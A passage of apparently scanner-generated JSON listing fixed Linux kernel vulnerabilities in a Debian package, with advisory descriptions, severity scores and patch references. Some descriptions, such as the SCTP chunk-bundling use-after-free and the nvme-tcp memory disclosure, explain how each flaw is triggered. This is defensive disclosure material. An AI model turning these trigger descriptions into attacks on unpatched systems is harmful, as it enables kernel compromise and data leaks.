1. Each readsb() then copies the\ncontroller RXCOUNT bytes (up to 31) with no check against the slot size.\nA device that sends more bytes than the slot holds writes past\nslot-\u003edata, an out-of-bounds write into the IBI pool.\n\nBound the loop by dev-\u003eibi-\u003emax_payload_len and clamp each read to the\nspace left in the slot, the same way dw-i3c does. A device can still send\nmore than the requested payload. Flush the leftover bytes from the RX FIFO\nso they do not leak into the next transfer.", "Severity": "HIGH", "VendorSeverity": { "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80951", "https://git.kernel.org/linus/e2bda39d7f9f285ec803e200b5c1f17143d0b483%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80951.mbox", "https://git.kernel.org/stable/c/35aa6730b8c5626b879a4e893fe664f59bf07d7f", "https://git.kernel.org/stable/c/5697d779577e2786ff3348ae9b77020ac0cf0aab", "https://git.kernel.org/stable/c/7c099b0b292a68d0ef558527945dbfb756fbf893", "https://git.kernel.org/stable/c/7cc5ba756bc1cfffab9cb2695742f9f479dc73f7", "https://git.kernel.org/stable/c/aac3c5aababc7fb69d5bf5b0cc52d308574e3a8c", "https://git.kernel.org/stable/c/e2bda39d7f9f285ec803e200b5c1f17143d0b483", "https://git.kernel.org/stable/c/f296a0d5907bf88314dfda67245f7f69d1552470", "https://nvd.nist.gov/vuln/detail/CVE-2026-80951", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80951" ], "PublishedDate": "2026-09-11T20:19:00.803Z", "LastModifiedDate": "2026-10-19T09:17:26.477Z" }, { "VulnerabilityID": "CVE-2026-81000", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-81000", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6f89635e142332f86ad39134a7bff8d3ae5e8c749c8c14a9b7d527cc453100e5", "Title": "kernel: net: tun: bound receive headroom", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: tun: bound receive headroom\n\ntun_get_user() uses tun-\u003ealign both as skb headroom and when choosing how\nmuch packet data to keep linear. OVS can propagate an oversized headroom\nrequest from another port to TUN or TAP.\n\nWhen align is larger than the usable space in a one-page skb head,\nSKB_MAX_HEAD(align) underflows and the result becomes negative when stored\nin good_linear. That value later wraps when assigned to the size_t linear\nvariable, and tun_alloc_skb() can place skb-\u003edata outside the allocated\nhead.\n\nBound the headroom stored by TUN to the one-page skb-head budget and the\nlargest non-sentinel 16-bit skb header offset. Leave one linear byte for\nraw TUN and a complete Ethernet header for TAP, including NET_IP_ALIGN.\n\nAlso pull the raw-TUN protocol byte and the TAP Ethernet header before\naccessing them, so these checks remain safe for nonlinear skbs supplied by\nother allocation paths.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-81000", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/447c9303942c439a117d9b76ce6d6e2116b38ee7%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-81000.mbox", "https://git.kernel.org/stable/c/010eee265d6bd8769b6a523d2a0693d9b3f5df43", "https://git.kernel.org/stable/c/0ada54ea63e48b9c1608e917ccb7dfadbe86db28", "https://git.kernel.org/stable/c/18ef24cdb2eba32e38f1d27f2d02b7b4212e8f76", "https://git.kernel.org/stable/c/379d85c7f25f3e05a428225e6b8a65613c6e9b9d", "https://git.kernel.org/stable/c/447c9303942c439a117d9b76ce6d6e2116b38ee7", "https://git.kernel.org/stable/c/708e87937de93f445225c134a2e20519f9b4ce60", "https://git.kernel.org/stable/c/ad715e713610d2d5473c3a6498c825ccecf26491", "https://git.kernel.org/stable/c/e098d9cc8859614a7f7baebc96e32a5a16b18ed2", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.3.0/BRSA-mzmgg9jyr6xg.toml", "https://linux.oracle.com/cve/CVE-2026-81000.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-81000", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-81000" ], "PublishedDate": "2026-09-11T20:19:07.71Z", "LastModifiedDate": "2026-10-19T09:17:33Z" }, { "VulnerabilityID": "CVE-2026-81003", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-81003", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0a5a2444c2105a9c34ffd20caff9fd7575ae164f2576e26fbc77195bf329f5ac", "Title": "kernel: net/iucv: filter frames in afiucv_hs_rcv() by ingress device", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/iucv: filter frames in afiucv_hs_rcv() by ingress device\n\nafiucv_hs_rcv() selects a socket from iucv_sk_list by matching four 8-byte\nname fields in the transport header alone. No check is made against the\nnet_device the frame arrived on.\n\nThis can cause a frame arriving on any netdev to be delivered to an AF_IUCV\nsocket. Three problems follow.\n\nFirst, a frame arriving over HiperSockets can be delivered to a socket\nbound to the classic z/VM IUCV transport, which has iucv-\u003ehs_dev == NULL.\niucv_sock_bind() takes the classic path whenever the requested userid\nmatches iucv_userid, even on a guest that also has a HiperSockets device\ncarrying the same identifier. The child socket created by\nafiucv_hs_callback_syn() for such a match inherits hs_dev = NULL and\ntransport = AF_IUCV_TRANS_HIPER, so the first send() on it returns -ENODEV.\nThe socket delivered to accept() is unusable.\n\nSecond, a frame arriving on one netdev can be delivered to a socket bound\nto a different IQD device. Which can lead to\n- Accept-queue exhaustion (DoS)\n- Attacker-controlled peer identity in the child socket\n- Data injection into existing sockets\n- Fabric noise on the IQD fabric, where bogus replies are sent\n- killing established connections\n\nThird, all AF_IUCV sockets live in init_net, as iucv_sock_alloc() calls\nsk_alloc(\u0026init_net, ...). But even frames arriving on netdev devices in a\nnamespace can be delivered to an IUCV socket. So a process in an\nunprivileged user and network namespace holding only the CAP_NET_RAW\ncapability valid within that namespace can send a raw ETH_P_AF_IUCV frame\non its own lo device and have it matched against init_net sockets.\n\nFix all three by skipping any socket whose hs_dev does not match the\ningress device. A classic z/VM IUCV socket has hs_dev == NULL; the ingress\ndev is never NULL, so classic sockets are skipped automatically. An unbound\nHIPER socket also has hs_dev == NULL and is skipped. A bound HIPER socket\nis only reachable from the exact IQD device it was bound to. Because hs_dev\nis always a device in init_net (iucv_sock_bind() scans\nfor_each_netdev_rcu(\u0026init_net, ...) exclusively), a frame whose ingress\ndevice belongs to another namespace never matches any socket.\n\nNote that AF_IUCV over HiperSockets provides no per-connection\nauthentication: no sequence numbers, no TLS, no nonce. The four name fields\nidentifying a connection are exchanged in plaintext on the shared\nHiperSockets segment (VCHID). Any host on the same HiperSockets segment\ncould spoof any frame type against an existing connection. That is a\nprotocol-level property unchanged by this patch. The fix reduces the attack\nsurface to peers present on the same HiperSockets segment.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-81003", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/linus/80230a18c164a4b5bbc048fe2768b219ac17bc5a%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-81003.mbox", "https://git.kernel.org/stable/c/0a5af67e7184c6a0e155c317840bd64b37177af4", "https://git.kernel.org/stable/c/639828ad4d374056167391dbaffd13dd5e5e5ddb", "https://git.kernel.org/stable/c/712330f8a4293cfd97b0d62b7c7dc01862a16b98", "https://git.kernel.org/stable/c/80230a18c164a4b5bbc048fe2768b219ac17bc5a", "https://git.kernel.org/stable/c/8e3763f1ccac3fc395f9af2b87114c023ced8a3f", "https://git.kernel.org/stable/c/92e5c281f1caa287bb58292f2687c9e3ff3aa23e", "https://git.kernel.org/stable/c/a7f0130a091724e69827ab58e74777a88747e892", "https://git.kernel.org/stable/c/dfac2936b83be00035ae176f8252e1c1e1de9207", "https://linux.oracle.com/cve/CVE-2026-81003.html", "https://linux.oracle.com/errata/ELSA-2026-89083.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-81003", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-81003" ], "PublishedDate": "2026-09-11T20:19:08.863Z", "LastModifiedDate": "2026-10-19T09:17:33.5Z" }, { "VulnerabilityID": "CVE-2026-89465", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89465", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:979b4435728f2a72e0ba26cc2c98db124c298ffb9f87f1b59aaa888a65c6a6fc", "Title": "kernel: power: supply: rt9455: quiesce delayed work before teardown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: rt9455: quiesce delayed work before teardown\n\nThe threaded IRQ handler can queue pwr_rdy_work,\nmax_charging_time_work and batt_presence_work. pwr_rdy_work and\nbatt_presence_work can also queue max_charging_time_work, while\nbatt_presence_work can requeue itself.\n\nrt9455_remove() cancels max_charging_time_work before\nbatt_presence_work. The latter can therefore queue\nmax_charging_time_work after it has already been cancelled:\n\n rt9455_remove() workqueue\n cancel pwr_rdy_work\n cancel max_charging_time_work\n batt_presence_work queues\n max_charging_time_work\n cancel batt_presence_work\n return\n devres frees rt9455_info\n max_charging_time_work dereferences\n rt9455_info\n\nThe IRQ also remains registered until devres cleanup and can queue more\nwork after any of the cancellation calls. If rt9455_hw_init() fails\nafter the IRQ has been requested, probe returns without cancelling work\nthat may already have been queued. A pending callback can then access\nrt9455_info after it has been freed.\n\nRegister rt9455_cancel_all_delayed_works() through\ndevm_add_action_or_reset() right after devm_power_supply_register().\ndevres invokes the action in reverse registration order, after the\nmanaged IRQ has been freed and before rt9455_info is released, so the\ndelayed works are drained in both rt9455_remove() and the probe error\npath. Cancel pwr_rdy_work and batt_presence_work before\nmax_charging_time_work because both can queue the latter.\n\nThis issue was found by an in-house static analysis tool.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89465", "https://git.kernel.org/linus/3e7a1ebc32fad5a558254a478efd401c17a24381%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89465.mbox", "https://git.kernel.org/stable/c/1b9978433c61a9b46e48832a1ebceee1cf5c9eb4", "https://git.kernel.org/stable/c/3def4721431f3e374e1e3124f4d32bb07ae8df1c", "https://git.kernel.org/stable/c/3e7a1ebc32fad5a558254a478efd401c17a24381", "https://git.kernel.org/stable/c/442c60c08ec23ac45da0a58877cab05e0a58f4ea", "https://git.kernel.org/stable/c/7323e562f6961e4b7bce3225cde4ecbc78260deb", "https://git.kernel.org/stable/c/c09a2e4f8f101a44bd786a31696c958473469be0", "https://git.kernel.org/stable/c/c8645073876cbb1cdc8c2b995d093d08facfb187", "https://git.kernel.org/stable/c/df67c7a2fff8414aa766b8cd5ffe11ec1ca27d02", "https://nvd.nist.gov/vuln/detail/CVE-2026-89465", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89465" ], "PublishedDate": "2026-09-11T20:19:27.533Z", "LastModifiedDate": "2026-10-30T13:20:16.893Z" }, { "VulnerabilityID": "CVE-2026-89479", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89479", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c34d21616e10d663ebd037f4617fe54252f5b47cc1efdebb1b1d709cde968ee3", "Title": "kernel: sctp: stop processing a packet once its association is deleted", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: stop processing a packet once its association is deleted\n\nsctp_endpoint_bh_rcv() looks the association up only when chunk-\u003easoc is\nNULL, and caches the result in chunk-\u003easoc and chunk-\u003etransport without\ntaking a reference.\n\nA packet that matches no association is handed to the endpoint, so a peer\ncan bundle COOKIE ECHO, SHUTDOWN and SHUTDOWN ACK in one packet. The\nCOOKIE ECHO creates the association, the SHUTDOWN chunk caches it, and\nwith the outqueue empty the SHUTDOWN ACK reaches sctp_sf_do_9_2_final(),\nso the association and its transports are freed.\n\nThe endpoint loop has no counterpart to the asoc-\u003ebase.dead check in\nsctp_assoc_bh_rcv(). The next chunk writes to last_time_heard in the freed\ntransport and is then passed to sctp_do_sm() with the freed association.\nThe transport is freed through RCU, so this needs the packet to come off\nthe socket backlog, where the loop runs in task context.\n\nThe endpoint loop cannot do the same check: it holds no reference on the\nassociation, so reading asoc-\u003ebase.dead would itself be a use-after-free.\nMark the packet for discard in the command interpreter, just before it\ndeletes the association. That is also before sctp_inq_free() releases the\nchunk on the association receive path.\n\nsctp_sf_do_5_2_4_dupcook() issues SCTP_CMD_DELETE_TCB for the temporary\nassociation, while the one the packet belongs to stays alive. A restarting\npeer can bundle DATA behind its COOKIE ECHO, so compare against\nchunk-\u003easoc and leave that case alone.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95370", "https://access.redhat.com/security/cve/CVE-2026-89479", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2513314", "https://bugzilla.redhat.com/2515351", "https://bugzilla.redhat.com/2515353", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2524442", "https://bugzilla.redhat.com/2524458", "https://bugzilla.redhat.com/2524475", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2552209", "https://bugzilla.redhat.com/show_bug.cgi?id=2507721", "https://bugzilla.redhat.com/show_bug.cgi?id=2513314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515351", "https://bugzilla.redhat.com/show_bug.cgi?id=2515353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2524442", "https://bugzilla.redhat.com/show_bug.cgi?id=2524458", "https://bugzilla.redhat.com/show_bug.cgi?id=2524475", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2552209", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64541", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68452", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80553", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80571", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80584", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98403", "https://errata.almalinux.org/9/ALSA-2026-95370.html", "https://errata.rockylinux.org/RLSA-2026:95370", "https://git.kernel.org/linus/47e15a8d12e366d0d261bcbc394394f44418938d%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89479.mbox", "https://git.kernel.org/stable/c/09c3b193a3e8fe53e1f416e2f8e3283d2a785405", "https://git.kernel.org/stable/c/47e15a8d12e366d0d261bcbc394394f44418938d", "https://git.kernel.org/stable/c/5c0b2dbbdafc9eeeb11fffe1e46551fc3b55d8ee", "https://git.kernel.org/stable/c/7d970353eeb98f46a3b9dc602850e4f6336a9889", "https://git.kernel.org/stable/c/a713e1b3a265f180ad25a08e17be15d67a2f7149", "https://git.kernel.org/stable/c/ed85fe91a61bc0e0da6b585c07102b20f4cc65a0", "https://git.kernel.org/stable/c/ee3f04cf566f6041aa9a0360494fd8db5ade383a", "https://git.kernel.org/stable/c/fa306a40e716c5abcd967475459ce1ebd56e5115", "https://linux.oracle.com/cve/CVE-2026-89479.html", "https://linux.oracle.com/errata/ELSA-2026-95370.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89479", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89479" ], "PublishedDate": "2026-09-11T20:19:29.337Z", "LastModifiedDate": "2026-10-19T09:17:41.043Z" }, { "VulnerabilityID": "CVE-2026-89481", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89481", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dc39df8e3bda444042613b4a8f3bedcfaed0bdd1907b0eb20f5db8b6f347fe95", "Title": "kernel: nvme-tcp: fix host memory disclosure on R2T for a read command", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme-tcp: fix host memory disclosure on R2T for a read command\n\nnvme_tcp_handle_r2t() does not check the direction of the request the\nR2T refers to. A malicious controller can send an R2T for a READ and\nthe host will answer it: nvme_tcp_setup_h2c_data_pdu() builds the\nH2CData header and nvme_tcp_try_send_data() sends the request's data\nbuffer. That buffer is the READ destination, so its contents go to the\ncontroller.\n\nThe command then completes normally and nothing is logged.\n\nAgainst a test controller that answers every READ with an R2T, a 4096\nbyte buffered read returned all 4096 bytes, split over two R2Ts. The\npages contained stale kernel data, including an array of struct page\npointers.\n\nReject an R2T for a request that is not a write.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-89481", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", 